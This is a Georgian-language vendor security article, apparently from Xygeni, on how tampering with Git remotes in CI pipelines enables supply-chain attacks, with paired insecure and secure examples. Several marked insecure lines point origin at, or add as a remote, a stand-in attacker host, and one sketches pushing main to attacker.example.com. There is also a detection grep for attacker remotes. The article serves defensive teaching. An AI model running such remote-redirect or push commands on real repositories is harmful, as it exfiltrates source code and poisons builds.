git remote set-url - git set url for remote - git add remote

როდესაც Git-ის დისტანციური set-url მიწოდების ჯაჭვის რისკად იქცევა

მარტივი Git ბრძანების მიღმა არსებული დაფარული რისკი

დეველოპერების უმეტესობისთვის, git remote set-url origin-ის მსგავსი ბრძანების გაშვება რუტინულად ჟღერს, უბრალოდ კიდევ ერთი ნაბიჯი Git კონფიგურაციის შესანარჩუნებლად. CI სკრიპტები ასევე ხშირად ასრულებენ ისეთ ბრძანებებს, როგორიცაა git remote set-url, Git set url for remote ან Git remote add კოდის მისაღებად ან გასაგზავნად აწყობის დროს. თუმცა, რისკი არსებობს: თუ თავდამსხმელი ამ კონფიგურაციაში შეიჭრება (ლოკალურად ან CI-ში), მას შეუძლია თქვენი წყარო მავნე საცავზე გადამისამართოს, ავტორიზაციის მონაცემები ჩაიჭრას ან მიწოდების ჯაჭვის მავნე პროგრამა შეიყვანოს.

მაგალითი, თუ როგორ გამოიყენება ის ჩვეულებრივ:

# ლეგიტიმური გამოყენება

git remote set-url origin https://github.com/org/project.git

⚠️ დაუცველი მაგალითი, მხოლოდ საგანმანათლებლო მიზნებისთვის. არ გამოიყენოთ წარმოებაში.

				
					# ❌ Malicious alteration (insecure)
git remote set-url origin https://evil-repo.attacker.net/project.git

				
			

დაცული ვერსია, დააინსტალირეთ და დაადასტურეთ საცავის წარმოშობა

				
					# ✅ Secure: use a fixed, validated origin and log intent
git remote set-url origin https://github.com/secure-org/project.git
# Educational note: prefer hardcoded, audited origins or validate against a whitelist before setting.

				
			

რატომ? თუ პულტი გადართულია თავდამსხმელის მიერ კონტროლირებად ჰოსტზე, ყოველი შემდგომი git fetch/git push მიუთითებს მავნე კოდზე. შეძლებისდაგვარად, გამოიყენეთ სანდო წყაროების მყარი კოდი და მოერიდეთ არავალიდირებულ დინამიურ URL-ებს.

როგორ აზიანებს დისტანციური მანიპულირება კონსტრუქციას Pipeline

Git დისტანციური მართვის URL-ის მოდიფიცირებას შეიძლება სერიოზული შედეგები მოჰყვეს ავტომატიზირებულ რეჟიმში. pipelineსადაც სკრიპტები ირიბად სანდოა.

სცენარის მაგალითი:

  • CI სკრიპტი იყენებს git remote set-url ფუნქციას საცავების დინამიურად ხელახლა კონფიგურაციისთვის.
  • სკრიპტში შეჰყავთ კომპრომეტირებული გარემოს ცვლადი (მაგ., ტოკენი ან საცავის URL).
  • ბილდი კოდს იღებს ან გადასცემს მავნე საცავში.
  • თავდამსხმელი აყენებს უკანა კარებს ან ცვლის დამოკიდებულებებს.

⚠️ დაუცველი მაგალითი, მხოლოდ საგანმანათლებლო მიზნებისთვის. არ გამოიყენოთ წარმოებაში.

				
					# ❌ CI/CD pipeline with an unvalidated remote URL
steps:
  - name: Set remote
    run: git remote set-url origin $REPO_URL
  - name: Build and deploy
    run: npm install && npm run build

				
			

უსაფრთხო ვერსია, გამოყენებამდე დაადასტურეთ $REPO_URL (თეთრი სია / xygeni ვერიფიკაცია).

				
					# ✅ CI/CD pipeline with validation guardrail
steps:
  - name: Validate REPO_URL
    run: |
      # Educational note: never accept raw URLs without validation.
      if ! xygeni verify --git-origin "$REPO_URL" --whitelist domains.txt; then
        echo "Untrusted repo origin: $REPO_URL" && exit 1
      fi
  - name: Set remote (safe)
    run: git remote set-url origin "$REPO_URL"
  - name: Build and deploy
    run: npm ci && npm run build

				
			

რატომ: შემომავალი საცავის URL-ების დადასტურება შენარჩუნებულ თეთრ სიასთან შედარებით (ან გამოყენება) xygeni verify --git-origin) მათზე რეაგირებამდე. ეს თავდამსხმელებს ხელს უშლის გარემოს ცვლადების გადამისამართებაში pipelines.

დისტანციურ კონფიგურაციაში არაავტორიზებული ცვლილებების აღმოჩენა

Git არ გაცნობებთ, როდესაც პულტი იცვლება. პროაქტიული მონიტორინგი .git/config და აუცილებელია აწყობამდე მთლიანობის შემოწმება.

პრაქტიკული აღმოჩენის ტექნიკა

  • Git-ის კონფიგურაციის შემოწმება:

     
    git remote -v

    შეადარეთ გამომავალი უსაფრთხო საბაზისო ხაზში შენახულ მოსალოდნელ URL-ებს.

  • დავამტკიცოთ .git/config მთლიანობა:

     
    sha256sum .git/config

    შეადარეთ ჩეკის ჯამი სანდო საბაზისო ნიშნულს.

  • CI-ზე დაფუძნებული ვალიდაცია:

     
    validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git

საგანმანათლებლო შენიშვნა: არ გაუშვათ მთლიანობის შემოწმებები ან დადასტურების ბრძანებები ხანგრძლივი მოქმედების მქონე ავტორიზაციის მონაცემებით, რომლებიც გამოქვეყნებულია ჟურნალებში ან დაუცველ გარემოში. გამოიყენეთ ეფემერული ავტორიზაციის მონაცემები, დაცული საიდუმლოებები და, შეძლებისდაგვარად, მოერიდეთ დადასტურების ბრძანებების შესრულებას პრივილეგირებული მომხმარებლის სახით.

გამოვლენის რჩევა: მოძებნეთ დისტანციური მართვის მოწყობილობები, რომლებიც არაკანონიკურ დომენებზე მიუთითებენ (მოულოდნელი .net, .io, IP მისამართები), დისტანციური სახელების დუბლირება ან გარემოს ცვლადები, რომლებიც აკონტროლებენ საცავის URL-ებს ვალიდაციის გარეშე. ადრეული აღმოჩენა ხელს უშლის git set-url მანიპულირება დაბინძურებული ნაგებობებიდან.

საცავის წყაროების დაცვა Guardrails და ჰეშის ვალიდაცია

პრევენცია გულისხმობს მკაცრი კონტროლის დაწესებას იმაზე, თუ რომელი საცავებიდან ააგებთ დოკუმენტს. Guardrails მოიცავს ხელმოწერას, ჰეშის ვალიდაციას და CI ცვლადების შეცვლის უფლების შეზღუდვას.

საცავის მთლიანობის უსაფრთხო პრაქტიკა

საცავის URL-ების პინირება, სანდო წყაროების მყარი კოდირება, სადაც ეს შესაძლებელია:

				
					# ✅ Secure practice: fixed, audited origin
git remote set-url origin https://github.com/secure-org/project.git
Enforce commit signing:
# ✅ Verify commit signatures before builds
git verify-commit HEAD

				
			

საცავის ჰეშების ვალიდაცია:

აწყობამდე გადაამოწმეთ, რომ HEAD ემთხვევა მოსალოდნელ ჰეშს.

⚠️ დაუცველი მაგალითი, ტოკენების ბეჭდვა ჟურნალებში (არ გამოიყენოთ წარმოებაში).

				
					# ❌ Insecure token handling (do not print secrets)
echo "Deploying with token: $DEPLOY_TOKEN"

				
			

უსაფრთხო ვერსია, წაიკითხეთ საიდუმლოებები სეიფიდან და არასდროს დაბეჭდოთ

				
					# ✅ Secure: retrieve secrets from vault and avoid echoing them
export DEPLOY_TOKEN=$(vault read -field=value secret/deploy_token)
# Educational note: Never print tokens or secrets to logs; use masked variables in CI.

				
			

მინი საკონტროლო სია: უსაფრთხო Git დისტანციური მართვა

Git Remote Set URL Validation-ის ინტეგრირება CI/CD Pipelines

დამატება guardrails და ავტომატური ვერიფიკაცია დისტანციური მანიპულირების ადრეულ ეტაპზე შესაჩერებლად pipeline.

დამცავი ღობის მაგალითი: შეამოწმეთ დუბლიკატი ან არაავტორიზებული დისტანციური მართვის საშუალებები

				
					# ✅ Pipeline guardrail: detect duplicate or unauthorized remotes
steps:
  - name: Check remotes
    run: |
      git remote -v > /tmp/remotes.txt
      if grep -E "evil-repo|attacker" /tmp/remotes.txt; then
        echo "Unauthorized remote detected" && exit 1
      fi
      # Validate current origin matches expected
      if ! xygeni verify --git-origin "$(git config --get remote.origin.url)" --whitelist domains.txt; then
        echo "Origin verification failed" && exit 1
      fi

				
			

მიწოდების ჯაჭვის ჩარევის წინააღმდეგ ბრძოლა საერთო გარემოში

გაზიარებული მორბენლები და ნებართვის მქონე დისტანციური მართვის ბრძანებები მაღალი რისკის შემცველია. მოერიდეთ ბრძანებებს, რომლებიც დავალების შესრულების დროს დაუდასტურებელ დისტანციურ მართვას ამატებენ.

⚠️ დაუცველობის მაგალითი, თავდამსხმელის პულტის დამატება (არ გამოიყენოთ).

				
					# ❌ Insecure: adding an unvetted remote
git remote add backup https://attacker.net/mirror.git

				
			

უსაფრთხო ვერსია, შეზღუდეთ დადასტურებული დომენებით და გამოიყენეთ –set-url მხოლოდ დამტკიცებული წყაროებისთვის

				
					# ✅ Secure: modify remotes only after domain validation
VALID_DOMAIN="github.com|gitlab.com|internal.company.com"
REMOTE_URL="https://github.com/secure-org/project.git"
if echo "$REMOTE_URL" | grep -Eq "$VALID_DOMAIN"; then
  git remote add backup "$REMOTE_URL"
else
  echo "Refusing to add unapproved remote" && exit 1
fi

				
			

შენიშვნა: უპირატესობა მიანიჭეთ ეფემერულ შემსრულებლებს და მოერიდეთ დავალებებს შორის მუდმივ გაზიარებულ ქეშებს.

შენიშვნა მორბენალებთან დაკავშირებით: გამოიყენეთ ეფემერული, იზოლირებული მორბენლები, რომლებიც თითოეული დავალებისთვის ხელახლა იქმნება. გაზიარებულ დისკებზე ან ქეშებზე შეიძლება შეინარჩუნონ ხელშეუხებელი ფაილები სხვადასხვა აწყობაში.

დისტანციური ვალიდაციისთვის Git set URL-ის ინტეგრირება CI/CD Pipelines

git remote set-url-ის გამოყენების უსაფრთხოება მხოლოდ ხელით შემოწმებას არ ეხება; ეს ავტომატიზაციას ეხება. თანამედროვე DevSecOps სამუშაო პროცესებს შეუძლიათ ვალიდაციის პირდაპირ ინტეგრირება CI/CD pipelines.

მაგალითი: ავტომატური დისტანციური მთლიანობის ვალიდაცია

				
					stages:
  - validate
  - build


validate-repo:
  script:
    - echo "Validating repository origin..."
    - xygeni enforce --policy git-origin.yaml
    - xygeni scan --detect-remote-tampering

				
			

ეს კონფიგურაცია უზრუნველყოფს, რომ ნებისმიერი აწყობის ან განლაგების გაშვებამდე, pipeline ადასტურებს:

  • საცავის URL ემთხვევა მოსალოდნელ მნიშვნელობას.
  • Commit ხელმოწერები ძალაშია.
  • git add remote-ის გამოყენებით მოულოდნელი პულტები არ დამატებულა.

დამატებითი CI კონტროლი

  • Pre-commit hooks: შეამოწმეთ, რომ არ არსებობს არაავტორიზებული git დისტანციური set-url ბრძანებები არსებობს commits.
  • პოლიტიკის კოდის აღსრულება: დაშვებული წყაროების განსაზღვრა ვერსიაზე კონტროლირებადი პოლიტიკის ნაწილად.
  • დამოკიდებულების ასლის შექმნა: კოდის ამოღება დადასტურებული შიდა სარკეებიდან პირდაპირი ინტერნეტ წყაროების ნაცვლად.

ამ შემოწმებების ავტომატიზაცია არა მხოლოდ ხელს უშლის არასწორ კონფიგურაციებს, არამედ კოდის გაგზავნამდეც კი აფიქსირებს მიწოდების ჯაჭვის ჩარევის მცდელობებს.

მიწოდების ჯაჭვის ჩარევის წინააღმდეგ ბრძოლა საერთო გარემოში

გაზიარებული მორბენლები ან ეფემერული CI გარემო დამატებით რისკებს ქმნის. როდესაც მრავალი ბილდი რესურსებს იზიარებს, git remote set-url ან git add remote ბრძანებები შეიძლება გამოყენებულ იქნას მავნე დისტანციური მართვის საშუალებების სესიების განმავლობაში გასავრცელებლად.

თავდასხმის გავრცელებული სცენარები

კომპრომეტირებული აწყობის სკრიპტი ამატებს ახალ დისტანციურ მართვას კოდის თავდამსხმელის საცავში გადასატანად:

git-ში დისტანციური სარეზერვო ასლის დამატება https://attacker.example.com/repo.git

git push სარეზერვო ასლი main

  • იმავე CI აგენტზე გაშვებული კიდევ ერთი პროექტი ამ დაბინძურებული მდგომარეობიდან იღებს მონაცემებს.
  • მგრძნობიარე მონაცემები, როგორიცაა ტოკენები ან build artefacts, გაჟონავს არაავტორიზებული შეყვანის გზით.

გამკვრივების ზომები

  • ეფემერული მორბენლები: CI გარემოს გადატვირთვა თითოეული აწყობის შემდეგ.
  • ქსელის იზოლაცია: გამავალი ტრაფიკის შეზღუდვა დამტკიცებულ დომენებზე.
  • მინიმალური პრივილეგია: Git ოპერაციების ნებართვების შეზღუდვა pipelines.
  • არტეფაქტების ხელმოწერა: დარწმუნდით, რომ ყველა აწყობის შედეგი კრიპტოგრაფიულად არის ხელმოწერილი და დამოწმებული.

იზოლაციის, ვალიდაციისა და მონიტორინგის კომბინაციით, გუნდებს შეუძლიათ გაანეიტრალონ შეტევები, რომლებიც იყენებენ git set url-ს დისტანციური მანიპულირებისთვის.

საცავის ნდობის დადასტურება, მონიტორინგი და ავტომატიზაცია

ერთი არასწორად გამოყენებული git remote set-url ან დაუდასტურებელი git add remote შეიძლება ჩუმად გადაამისამართოს თქვენი მთელი შექმნის პროცესი თავდამსხმელის მიერ კონტროლირებად საცავში. DevOps-ში პროდუქტიულობასა და კომპრომისს შორის ზღვარი უფრო თხელია, ვიდრე ოდესმე და პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის შეტევები ზუსტად ამის გამოყენება.

თქვენი ნდობის შესანარჩუნებლად pipelines:

პლატფორმების მსგავსად ქსიგენი დაეხმარეთ DevSecOps გუნდებს დისტანციური არასწორი კონფიგურაციების აღმოჩენაში, საცავის ნდობის საზღვრების მონიტორინგსა და Git-ის ბოროტად გამოყენების შედეგად წარმოქმნილი მიწოდების ჯაჭვის რისკების დაბლოკვაში, სანამ მავნე დისტანციურ მოწყობილობებს კოდის განლაგების შანსი მიეცემათ.

ენდეთ თქვენს სამუშაო პროცესს, მაგრამ გადაამოწმეთ წყარო. ასე თავიდან აიცილებთ git remote set-url-ის უსაფრთხოების შემდეგი დარღვევად გადაქცევას.

sca-tools-software-composition-analysis-tools
თქვენი პროგრამული უზრუნველყოფის რისკების პრიორიტეტიზაცია, გამოსწორება და დაცვა
მიიღეთ თქვენი უფასო ანგარიში.
საკრედიტო ბარათი არ არის საჭირო.

უზრუნველყავით თქვენი პროგრამული უზრუნველყოფის შემუშავება და მიწოდება

Xygeni Product Suite-თან ერთად